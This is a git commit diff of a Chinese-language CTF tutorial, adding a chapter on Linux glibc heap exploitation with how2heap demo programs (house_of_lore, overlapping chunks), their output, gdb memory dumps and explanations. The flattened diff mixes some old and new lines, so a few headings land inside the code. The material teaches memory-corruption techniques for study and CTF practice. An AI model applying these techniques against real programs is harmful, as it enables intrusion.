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finish 3.3.6; add 3.3.7

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firmianay 2018-01-14 22:33:28 +08:00
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1
README.md
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@ -71,6 +71,7 @@
- [3.3.4 返回导向编程（ROP）](doc/3.3.4_rop.md) - [3.3.4 返回导向编程（ROP）](doc/3.3.4_rop.md)
- [3.3.5 Linux 堆利用（上）](doc/3.3.5_heap_exploit_1.md) - [3.3.5 Linux 堆利用（上）](doc/3.3.5_heap_exploit_1.md)
- [3.3.6 Linux 堆利用（中）](doc/3.3.6_heap_exploit_2.md) - [3.3.6 Linux 堆利用（中）](doc/3.3.6_heap_exploit_2.md)
- [3.3.7 Linux 堆利用（下）](doc/3.3.7_heap_exploit_3.md)
- [3.4 Web](doc/3.4_web.md) - [3.4 Web](doc/3.4_web.md)
- [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md) - [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md)
- [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md) - [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md)

1
SUMMARY.md
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@ -62,6 +62,7 @@ GitHub 地址：https://github.com/firmianay/CTF-All-In-One
* [3.3.4 返回导向编程（ROP）](doc/3.3.4_rop.md) * [3.3.4 返回导向编程（ROP）](doc/3.3.4_rop.md)
* [3.3.5 Linux 堆利用（上）](doc/3.3.5_heap_exploit_1.md) * [3.3.5 Linux 堆利用（上）](doc/3.3.5_heap_exploit_1.md)
* [3.3.6 Linux 堆利用（中）](doc/3.3.6_heap_exploit_2.md) * [3.3.6 Linux 堆利用（中）](doc/3.3.6_heap_exploit_2.md)
* [3.3.7 Linux 堆利用（下）](doc/3.3.7_heap_exploit_3.md)
* [3.4 Web](doc/3.4_web.md) * [3.4 Web](doc/3.4_web.md)
* [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md) * [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md)
* [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md) * [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md)

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doc/3.3.6_heap_exploit_2.md
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@ -5,14 +5,11 @@
- [house_of_lore](#house_of_lore) - [house_of_lore](#house_of_lore)
- [overlapping_chunks](#overlapping_chunks) - [overlapping_chunks](#overlapping_chunks)
- [overlapping_chunks_2](#overlapping_chunks_2) - [overlapping_chunks_2](#overlapping_chunks_2)
- [house_of_force](#house_of_force)
- [unsorted_bin_attack](#unsorted_bin_attack)
- [house_of_einherjar](#house_of_einherjar)
- [house_of_orange](#house_of_orange)
[下载文件](../src/Others/3.3.5_heap_exploit) [下载文件](../src/Others/3.3.5_heap_exploit)
## how2heap
#### poison_null_byte #### poison_null_byte
```c ```c
#include <stdio.h> #include <stdio.h>
@ -359,15 +356,561 @@ allocated by thread T0 here:
``` ```
#### house_of_lore #### house_of_lore
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
void jackpot(){ puts("Nice jump d00d"); exit(0); }
int main() {
intptr_t *victim = malloc(0x80);
memset(victim, 'A', 0x80);
void *p5 = malloc(0x10);
memset(p5, 'A', 0x10);
intptr_t *victim_chunk = victim - 2;
fprintf(stderr, "Allocated the victim (small) chunk: %p\n", victim);
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
stack_buffer_1[0] = 0;
stack_buffer_1[2] = victim_chunk;
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
fprintf(stderr, "stack_buffer_1: %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2: %p\n\n", (void*)stack_buffer_2);
free((void*)victim);
fprintf(stderr, "Freeing the victim chunk %p, it will be inserted in the unsorted bin\n", victim);
fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
void *p2 = malloc(0x100);
fprintf(stderr, "Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\n", p2);
fprintf(stderr, "The victim chunk %p will be inserted in front of the SmallBin\n", victim);
fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
victim[1] = (intptr_t)stack_buffer_1;
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
void *p3 = malloc(0x40);
char *p4 = malloc(0x80);
memset(p4, 'A', 0x10);
fprintf(stderr, "This last malloc should return a chunk at the position injected in bin->bk: %p\n", p4);
fprintf(stderr, "The fd pointer of stack_buffer_2 has changed: %p\n\n", stack_buffer_2[2]);
intptr_t sc = (intptr_t)jackpot;
memcpy((p4+40), &sc, 8);
}
```
```
$ gcc -g house_of_lore.c
$ ./a.out
Allocated the victim (small) chunk: 0x1b2e010
stack_buffer_1: 0x7ffe5c570350
stack_buffer_2: 0x7ffe5c570330
Freeing the victim chunk 0x1b2e010, it will be inserted in the unsorted bin
victim->fd: 0x7f239d4c9b78
victim->bk: 0x7f239d4c9b78
Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x1b2e0c0
The victim chunk 0x1b2e010 will be inserted in front of the SmallBin
victim->fd: 0x7f239d4c9bf8
victim->bk: 0x7f239d4c9bf8
Now emulating a vulnerability that can overwrite the victim->bk pointer
This last malloc should return a chunk at the position injected in bin->bk: 0x7ffe5c570360
The fd pointer of stack_buffer_2 has changed: 0x7f239d4c9bf8
Nice jump d00d
```
在前面的技术中，我们已经知道怎样去伪造一个 fake chunk，接下来，我们要尝试伪造一条 small bins 链。
首先创建两个 chunk，第一个是我们的 victim chunk，请确保它是一个 small chunk，第二个随意，只是为了确保在 free 时 victim chunk 不会被合并进 top chunk 里。然后，在栈上伪造两个 fake chunk，让 fake chunk 1 的 fd 指向 victim chunk，bk 指向 fake chunk 2；fake chunk 2 的 fd 指向 fake chunk 1，这样一个 small bin 链就差不多了：
```
gef➤ x/26gx victim-2
0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk
0x603010: 0x4141414141414141 0x4141414141414141
0x603020: 0x4141414141414141 0x4141414141414141
0x603030: 0x4141414141414141 0x4141414141414141
0x603040: 0x4141414141414141 0x4141414141414141
0x603050: 0x4141414141414141 0x4141414141414141
0x603060: 0x4141414141414141 0x4141414141414141
0x603070: 0x4141414141414141 0x4141414141414141
0x603080: 0x4141414141414141 0x4141414141414141
0x603090: 0x0000000000000000 0x0000000000000021 <-- chunk p5
0x6030a0: 0x4141414141414141 0x4141414141414141
0x6030b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk
0x6030c0: 0x0000000000000000 0x0000000000000000
gef➤ x/10gx &stack_buffer_2
0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2
0x7fffffffdc40: 0x00007fffffffdc50 0x0000000000400aed <-- fd->fake chunk 1
0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- fake chunk 1
0x7fffffffdc60: 0x0000000000603000 0x00007fffffffdc30 <-- fd->victim chunk, bk->fake chunk 2
0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00
```
molloc 中对于 small bin 链表的检查是这样的：
```c
[...]
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
[...]
```
接下来释放掉 victim chunk，它会被放到 unsoted bin 中，且 fd/bk 均指向 unsorted bin 的头部：
```
gef➤ x/26gx victim-2
0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk [be freed]
0x603010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
0x603020: 0x4141414141414141 0x4141414141414141
0x603030: 0x4141414141414141 0x4141414141414141
0x603040: 0x4141414141414141 0x4141414141414141
0x603050: 0x4141414141414141 0x4141414141414141
0x603060: 0x4141414141414141 0x4141414141414141
0x603070: 0x4141414141414141 0x4141414141414141
0x603080: 0x4141414141414141 0x4141414141414141
0x603090: 0x0000000000000090 0x0000000000000020 <-- chunk p5
0x6030a0: 0x4141414141414141 0x4141414141414141
0x6030b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk
0x6030c0: 0x0000000000000000 0x0000000000000000
gef➤ heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x603000, bk=0x603000
→ Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE)
```
这时，申请一块大的 chunk，只需要大到让 malloc 在 unsorted bin 中找不到合适的就可以了。这样原本在 unsorted bin 中的 chunk，会被整理回各自的所属的 bins 中，这里就是 small bins：
```
gef➤ heap bins small
[ Small Bins for arena 'main_arena' ]
[+] small_bins[8]: fw=0x603000, bk=0x603000
→ Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE)
```
接下来是最关键的一步，假设存在一个漏洞，可以让我们修改 victim chunk 的 bk 指针。那么就修改 bk 让它指向我们在栈上布置的 fake small bin：
```
gef➤ x/26gx victim-2
0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk [be freed]
0x603010: 0x00007ffff7dd1bf8 0x00007fffffffdc50 <-- bk->fake chunk 1
0x603020: 0x4141414141414141 0x4141414141414141
0x603030: 0x4141414141414141 0x4141414141414141
0x603040: 0x4141414141414141 0x4141414141414141
0x603050: 0x4141414141414141 0x4141414141414141
0x603060: 0x4141414141414141 0x4141414141414141
0x603070: 0x4141414141414141 0x4141414141414141
0x603080: 0x4141414141414141 0x4141414141414141
0x603090: 0x0000000000000090 0x0000000000000020 <-- chunk p5
0x6030a0: 0x4141414141414141 0x4141414141414141
0x6030b0: 0x0000000000000000 0x0000000000000111 <-- chunk p2
0x6030c0: 0x0000000000000000 0x0000000000000000
gef➤ x/10gx &stack_buffer_2
0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2
0x7fffffffdc40: 0x00007fffffffdc50 0x0000000000400aed <-- fd->fake chunk 1
0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- fake chunk 1
0x7fffffffdc60: 0x0000000000603000 0x00007fffffffdc30 <-- fd->victim chunk, bk->fake chunk 2
0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00
```
我们知道 small bins 是先进后出的，节点的增加发生在链表头部，而删除发生在尾部。这时整条链是这样的：
```
HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> victim chunk <-> TAIL
fd: ->
bk: <-
```
fake chunk 2 的 bk 指向了一个未定义的地址，如果能通过内存泄露等手段，拿到 HEAD 的地址并填进去，整条链就闭合了。当然这里完全没有必要这么做。
接下来的第一个 malloc，会返回 victim chunk 的地址，如果 malloc 的大小正好等于 victim chunk 的大小，那么情况会简单一点。但是这里我们不这样做，malloc 一个小一点的地址，可以看到，malloc 从 small bin 里取出了末尾的 victim chunk，切了一块返回给 chunk p3，然后把剩下的部分放回到了 unsorted bin。同时 small bin 变成了这样：
```
HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> TAIL
```
```
gef➤ x/26gx victim-2
0x603000: 0x0000000000000000 0x0000000000000051 <-- chunk p3
0x603010: 0x00007ffff7dd1bf8 0x00007fffffffdc50
0x603020: 0x4141414141414141 0x4141414141414141
0x603030: 0x4141414141414141 0x4141414141414141
0x603040: 0x4141414141414141 0x4141414141414141
0x603050: 0x4141414141414141 0x0000000000000041 <-- unsorted bin
0x603060: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
0x603070: 0x4141414141414141 0x4141414141414141
0x603080: 0x4141414141414141 0x4141414141414141
0x603090: 0x0000000000000040 0x0000000000000020 <-- chunk p5
0x6030a0: 0x4141414141414141 0x4141414141414141
0x6030b0: 0x0000000000000000 0x0000000000000111 <-- chunk p2
0x6030c0: 0x0000000000000000 0x0000000000000000
gef➤ x/10gx &stack_buffer_2
0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2
0x7fffffffdc40: 0x00007fffffffdc50 0x0000000000400aed <-- fd->fake chunk 1
0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- fake chunk 1
0x7fffffffdc60: 0x00007ffff7dd1bf8 0x00007fffffffdc30 <-- fd->TAIL, bk->fake chunk 2
0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00
gef➤ heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x603050, bk=0x603050
→ Chunk(addr=0x603060, size=0x40, flags=PREV_INUSE)
```
最后，再次 malloc 将返回 fake chunk 1 的地址，地址在栈上且我们能够控制。同时 small bin 变成这样：
```
HEAD(undefined) <-> fake chunk 2 <-> TAIL
```
```
gef➤ x/10gx &stack_buffer_2
0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2
0x7fffffffdc40: 0x00007ffff7dd1bf8 0x0000000000400aed <-- fd->TAIL
0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- chunk 4
0x7fffffffdc60: 0x4141414141414141 0x4141414141414141
0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00
```
于是我们就成功地骗过了 malloc 在栈上分配了一个 chunk。
最后再想一下，其实最初的 victim chunk 使用 fast chunk 也是可以的，其释放后虽然是被加入到 fast bins 中，而不是 unsorted bin，但 malloc 之后，也会被整理到 small bins 里。自行尝试吧。
heap-use-after-free，所以上面我们用于修改 bk 指针的漏洞，应该就是一个 UAF 吧，当然溢出也是可以的：
```
$ gcc -fsanitize=address -g house_of_lore.c
$ ./a.out
Allocated the victim (small) chunk: 0x60c00000bf80
stack_buffer_1: 0x7ffd1fbc5cd0
stack_buffer_2: 0x7ffd1fbc5c90
Freeing the victim chunk 0x60c00000bf80, it will be inserted in the unsorted bin
=================================================================
==6034==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c00000bf80 at pc 0x000000400eec bp 0x7ffd1fbc5bf0 sp 0x7ffd1fbc5be0
READ of size 8 at 0x60c00000bf80 thread T0
#0 0x400eeb in main /home/firmy/how2heap/house_of_lore.c:27
#1 0x7febee33c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#2 0x400b38 in _start (/home/firmy/how2heap/a.out+0x400b38)
```
#### overlapping_chunks #### overlapping_chunks
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int main() {
intptr_t *p1,*p2,*p3,*p4;
p1 = malloc(0x90 - 8);
p2 = malloc(0x90 - 8);
p3 = malloc(0x80 - 8);
memset(p1, 'A', 0x90 - 8);
memset(p2, 'A', 0x90 - 8);
memset(p3, 'A', 0x80 - 8);
fprintf(stderr, "Now we allocate 3 chunks on the heap\n");
fprintf(stderr, "p1=%p\np2=%p\np3=%p\n\n", p1, p2, p3);
free(p2);
fprintf(stderr, "Freeing the chunk p2\n");
int evil_chunk_size = 0x111;
int evil_region_size = 0x110 - 8;
*(p2-1) = evil_chunk_size; // Overwriting the "size" field of chunk p2
fprintf(stderr, "Emulating an overflow that can overwrite the size of the chunk p2.\n\n");
p4 = malloc(evil_region_size);
fprintf(stderr, "p4: %p ~ %p\n", p4, p4+evil_region_size);
fprintf(stderr, "p3: %p ~ %p\n", p3, p3+0x80);
fprintf(stderr, "\nIf we memset(p4, 'B', 0xd0), we have:\n");
memset(p4, 'B', 0xd0);
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);
fprintf(stderr, "\nIf we memset(p3, 'C', 0x50), we have:\n");
memset(p3, 'C', 0x50);
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);
}
```
```
$ gcc -g overlapping_chunks.c
$ ./a.out
Now we allocate 3 chunks on the heap
p1=0x1e2b010
p2=0x1e2b0a0
p3=0x1e2b130
Freeing the chunk p2
Emulating an overflow that can overwrite the size of the chunk p2.
p4: 0x1e2b0a0 ~ 0x1e2b8e0
p3: 0x1e2b130 ~ 0x1e2b530
If we memset(p4, 'B', 0xd0), we have:
p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
p3 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
If we memset(p3, 'C', 0x50), we have:
p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
p3 = CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
```
这个比较简单，就是堆块重叠的问题。通过一个溢出漏洞，改写 unsorted bin 中空闲堆块的 size，改变下一次 malloc 可以返回的堆块大小。
首先分配三个堆块，然后释放掉中间的一个：
```
gef➤ x/60gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x4141414141414141 0x4141414141414141
0x602030: 0x4141414141414141 0x4141414141414141
0x602040: 0x4141414141414141 0x4141414141414141
0x602050: 0x4141414141414141 0x4141414141414141
0x602060: 0x4141414141414141 0x4141414141414141
0x602070: 0x4141414141414141 0x4141414141414141
0x602080: 0x4141414141414141 0x4141414141414141
0x602090: 0x4141414141414141 0x0000000000000091 <-- chunk 2 [be freed]
0x6020a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x6020b0: 0x4141414141414141 0x4141414141414141
0x6020c0: 0x4141414141414141 0x4141414141414141
0x6020d0: 0x4141414141414141 0x4141414141414141
0x6020e0: 0x4141414141414141 0x4141414141414141
0x6020f0: 0x4141414141414141 0x4141414141414141
0x602100: 0x4141414141414141 0x4141414141414141
0x602110: 0x4141414141414141 0x4141414141414141
0x602120: 0x0000000000000090 0x0000000000000080 <-- chunk 3
0x602130: 0x4141414141414141 0x4141414141414141
0x602140: 0x4141414141414141 0x4141414141414141
0x602150: 0x4141414141414141 0x4141414141414141
0x602160: 0x4141414141414141 0x4141414141414141
0x602170: 0x4141414141414141 0x4141414141414141
0x602180: 0x4141414141414141 0x4141414141414141
0x602190: 0x4141414141414141 0x4141414141414141
0x6021a0: 0x4141414141414141 0x0000000000020e61 <-- top chunk
0x6021b0: 0x0000000000000000 0x0000000000000000
0x6021c0: 0x0000000000000000 0x0000000000000000
0x6021d0: 0x0000000000000000 0x0000000000000000
gef➤ heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x602090, bk=0x602090
→ Chunk(addr=0x6020a0, size=0x90, flags=PREV_INUSE)
```
chunk 2 被放到了 unsorted bin 中，其 size 值为 0x90。
接下来，假设我们有一个溢出漏洞，可以改写 chunk 2 的 size 值，比如这里我们将其改为 0x111，也就是原本 chunk 2 和 chunk 3 的大小相加，最后一位是 1 表示 chunk 1 是在使用的，其实有没有都无所谓。
```
gef➤ heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x602090, bk=0x602090
→ Chunk(addr=0x6020a0, size=0x110, flags=PREV_INUSE)
```
这时 unsorted bin 中的数据也更改了。
接下来 malloc 一个大小的等于 chunk 2 和 chunk 3 之和的 chunk 4，这会将 chunk 2 和 chunk 3 都包含进来：
```
gef➤ x/60gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x4141414141414141 0x4141414141414141
0x602030: 0x4141414141414141 0x4141414141414141
0x602040: 0x4141414141414141 0x4141414141414141
0x602050: 0x4141414141414141 0x4141414141414141
0x602060: 0x4141414141414141 0x4141414141414141
0x602070: 0x4141414141414141 0x4141414141414141
0x602080: 0x4141414141414141 0x4141414141414141
0x602090: 0x4141414141414141 0x0000000000000111 <-- chunk 4
0x6020a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x6020b0: 0x4141414141414141 0x4141414141414141
0x6020c0: 0x4141414141414141 0x4141414141414141
0x6020d0: 0x4141414141414141 0x4141414141414141
0x6020e0: 0x4141414141414141 0x4141414141414141
0x6020f0: 0x4141414141414141 0x4141414141414141
0x602100: 0x4141414141414141 0x4141414141414141
0x602110: 0x4141414141414141 0x4141414141414141
0x602120: 0x0000000000000090 0x0000000000000080 <-- chunk 3
0x602130: 0x4141414141414141 0x4141414141414141
0x602140: 0x4141414141414141 0x4141414141414141
0x602150: 0x4141414141414141 0x4141414141414141
0x602160: 0x4141414141414141 0x4141414141414141
0x602170: 0x4141414141414141 0x4141414141414141
0x602180: 0x4141414141414141 0x4141414141414141
0x602190: 0x4141414141414141 0x4141414141414141
0x6021a0: 0x4141414141414141 0x0000000000020e61 <-- top chunk
0x6021b0: 0x0000000000000000 0x0000000000000000
0x6021c0: 0x0000000000000000 0x0000000000000000
0x6021d0: 0x0000000000000000 0x0000000000000000
```
这样，相当于 chunk 4 和 chunk 3 就重叠了，两个 chunk 可以互相修改对方的数据。就像上面的运行结果打印出来的那样。
#### overlapping_chunks_2 #### overlapping_chunks_2
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#### house_of_force int main() {
intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;
#### unsorted_bin_attack p1 = malloc(0x10);
p2 = malloc(0x80);
p3 = malloc(0x80);
p4 = malloc(0x80);
p5 = malloc(0x10);
real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);
memset(p1, 'A', real_size_p1);
memset(p2, 'A', real_size_p2);
memset(p3, 'A', real_size_p3);
memset(p4, 'A', real_size_p4);
memset(p5, 'A', real_size_p5);
fprintf(stderr, "Now we allocate 5 chunks on the heap\n\n");
fprintf(stderr, "chunk p1: %p ~ %p\n", p1, (unsigned char *)p1+malloc_usable_size(p1));
fprintf(stderr, "chunk p2: %p ~ %p\n", p2, (unsigned char *)p2+malloc_usable_size(p2));
fprintf(stderr, "chunk p3: %p ~ %p\n", p3, (unsigned char *)p3+malloc_usable_size(p3));
fprintf(stderr, "chunk p4: %p ~ %p\n", p4, (unsigned char *)p4+malloc_usable_size(p4));
fprintf(stderr, "chunk p5: %p ~ %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5));
#### house_of_einherjar free(p4);
fprintf(stderr, "\nLet's free the chunk p4\n\n");
#### house_of_orange fprintf(stderr, "Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)\n\n");
*(unsigned int *)((unsigned char *)p1 + real_size_p1) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; // BUG HERE
free(p2);
p6 = malloc(0x1b0 - 0x10);
real_size_p6 = malloc_usable_size(p6);
fprintf(stderr, "Allocating a new chunk 6: %p ~ %p\n\n", p6, (unsigned char *)p6+real_size_p6);
fprintf(stderr, "Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)\n");
fprintf(stderr, "p3 before = %s\n", (char *)p3);
memset(p6, 'B', 0xd0);
fprintf(stderr, "p3 after = %s\n", (char *)p3);
}
```
```
$ gcc -g overlapping_chunks_2.c
$ ./a.out
Now we allocate 5 chunks on the heap
chunk p1: 0x18c2010 ~ 0x18c2028
chunk p2: 0x18c2030 ~ 0x18c20b8
chunk p3: 0x18c20c0 ~ 0x18c2148
chunk p4: 0x18c2150 ~ 0x18c21d8
chunk p5: 0x18c21e0 ~ 0x18c21f8
Let's free the chunk p4
Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)
Allocating a new chunk 6: 0x18c2030 ~ 0x18c21d8
Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)
p3 before = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<41>
p3 after = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<41>
```
同样是堆块重叠的问题，前面那个是在 chunk 已经被 free，加入到了 unsorted bin 之后，再修改其 size 值，然后 malloc 一个不一样的 chunk 出来，而这里是在 free 之前修改 size 值，使 free 错误地修改了下一个 chunk 的 prev_size 值，导致中间的 chunk 强行合并。另外前面那个重叠是相邻堆块之间的，而这里是不相邻堆块之间的。
我们需要五个堆块，假设第 chunk 1 存在溢出，可以改写第二个 chunk 2 的数据，chunk 5 的作用是防止释放 chunk 4 后被合并进 top chunk。所以我们要重叠的区域是 chunk 2 到 chunk 4。首先将 chunk 4 释放掉，注意看 chunk 5 的 prev_size 值：
```
gef➤ x/70gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x4141414141414141 0x0000000000000091 <-- chunk 2
0x602030: 0x4141414141414141 0x4141414141414141
0x602040: 0x4141414141414141 0x4141414141414141
0x602050: 0x4141414141414141 0x4141414141414141
0x602060: 0x4141414141414141 0x4141414141414141
0x602070: 0x4141414141414141 0x4141414141414141
0x602080: 0x4141414141414141 0x4141414141414141
0x602090: 0x4141414141414141 0x4141414141414141
0x6020a0: 0x4141414141414141 0x4141414141414141
0x6020b0: 0x4141414141414141 0x0000000000000091 <-- chunk 3
0x6020c0: 0x4141414141414141 0x4141414141414141
0x6020d0: 0x4141414141414141 0x4141414141414141
0x6020e0: 0x4141414141414141 0x4141414141414141
0x6020f0: 0x4141414141414141 0x4141414141414141
0x602100: 0x4141414141414141 0x4141414141414141
0x602110: 0x4141414141414141 0x4141414141414141
0x602120: 0x4141414141414141 0x4141414141414141
0x602130: 0x4141414141414141 0x4141414141414141
0x602140: 0x4141414141414141 0x0000000000000091 <-- chunk 4 [be freed]
0x602150: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
0x602160: 0x4141414141414141 0x4141414141414141
0x602170: 0x4141414141414141 0x4141414141414141
0x602180: 0x4141414141414141 0x4141414141414141
0x602190: 0x4141414141414141 0x4141414141414141
0x6021a0: 0x4141414141414141 0x4141414141414141
0x6021b0: 0x4141414141414141 0x4141414141414141
0x6021c0: 0x4141414141414141 0x4141414141414141
0x6021d0: 0x0000000000000090 0x0000000000000020 <-- chunk 5 <-- prev_size
0x6021e0: 0x4141414141414141 0x4141414141414141
0x6021f0: 0x4141414141414141 0x0000000000020e11 <-- top chunk
0x602200: 0x0000000000000000 0x0000000000000000
0x602210: 0x0000000000000000 0x0000000000000000
0x602220: 0x0000000000000000 0x0000000000000000
gef➤ heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x602140, bk=0x602140
→ Chunk(addr=0x602150, size=0x90, flags=PREV_INUSE)
```
free chunk 4 被放入 unsorted bin，大小为 0x90。
接下来是最关键的一步，利用 chunk 1 的溢出漏洞，将 chunk 2 的 size 值修改为 chunk 2 和 chunk 3 的大小之和，即 0x90+0x90+0x1=0x121，最后的 1 是标志位。这样当我们释放 chunk 2 的时候，malloc 根据这个被修改的 size 值，会以为 chunk 2 加上 chunk 3 的区域都是要释放的，然后就错误地修改了 chunk 5 的 prev_size。接着，它发现紧邻的一块 chunk 4 也是 free 状态，就把它俩合并在了一起，组成一个大 free chunk，放进 unsorted bin 中。
```
gef➤ x/70gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x4141414141414141 0x00000000000001b1 <-- chunk 2 [be freed] <-- unsorted bin
0x602030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
0x602040: 0x4141414141414141 0x4141414141414141
0x602050: 0x4141414141414141 0x4141414141414141
0x602060: 0x4141414141414141 0x4141414141414141
0x602070: 0x4141414141414141 0x4141414141414141
0x602080: 0x4141414141414141 0x4141414141414141
0x602090: 0x4141414141414141 0x4141414141414141
0x6020a0: 0x4141414141414141 0x4141414141414141
0x6020b0: 0x4141414141414141 0x0000000000000091 <-- chunk 3
0x6020c0: 0x4141414141414141 0x4141414141414141
0x6020d0: 0x4141414141414141 0x4141414141414141
